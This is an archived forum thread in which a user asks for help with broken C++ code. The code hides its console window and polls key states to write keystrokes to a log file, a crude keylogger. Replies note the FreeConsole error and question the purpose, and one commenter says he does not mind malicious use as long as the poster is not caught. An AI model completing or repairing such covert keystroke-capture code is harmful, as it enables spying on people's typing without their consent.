What is wrong whit this DEV C++ file?

I have a problem with a FreeConsole(true) thingy, take a look at this:


#include <stdio.h>
#include <windows.h>
#include<iostream>
#include <fstream>
#include <string>

using namespace std;
int main(){
string log;
FreeConsole(true); <--- This, and fine if u find some other issues too.....
while(true){

if(GetAsyncKeyState(0x41)){
cout<<"a";
log+="a";
Sleep(200);
};

ofstream myfile;
myfile.open ("log.txt");
myfile << log;
myfile.close();
};

if(GetAyncKeyState(0x42)){
cout<<"b";
log+="b";
Sleep(200);
};
if(GetAsyncKeyState(0x43)){
cout<<"c";
log+="b";
Sleep(200);
};
if(GetAsyncKeyState(0x44))){
cout<<"d";
log+="d";
Sleep(200);
};
if(GetAsyncKeyState(0x45))){
cout<<"e";
log+="e";
Sleep(200);
};

And so on.........
FreeConsole function has no parameters ( http://msdn.microsoft.com/en-us/library/ms683150(v=vs.85).aspx )

Are you making a keylogger?
+
Are you making a keylogger?


And polling the keys to do it?! That's a poor way to do it...

Second, I would recommend updating your compiler. My personal recommendation is Code::Blocks

Third. Do something more productive with your time =) (unless you have some valid reason to log keys {Yes there are some})
ultifinitus wrote:
Do something more productive with your time =)

What isn't productive about learning? Are you implying that the OP is making it with malicious intent? I don't really care if he is, but if he is, he better make sure he doesn't get caught. :-)
What isn't productive about learning?


Well I'd not have a bunch of half coding skiddies running around wreaking havoc on harmless old ladies =)

And if you're malicious just keep polling those keys =) I love to be able to see a program take 20% of my cpu just to see if I typed "rockets" ;)

edit: removed my strangely bolded quote
Last edited on
Topic archived. No new replies allowed.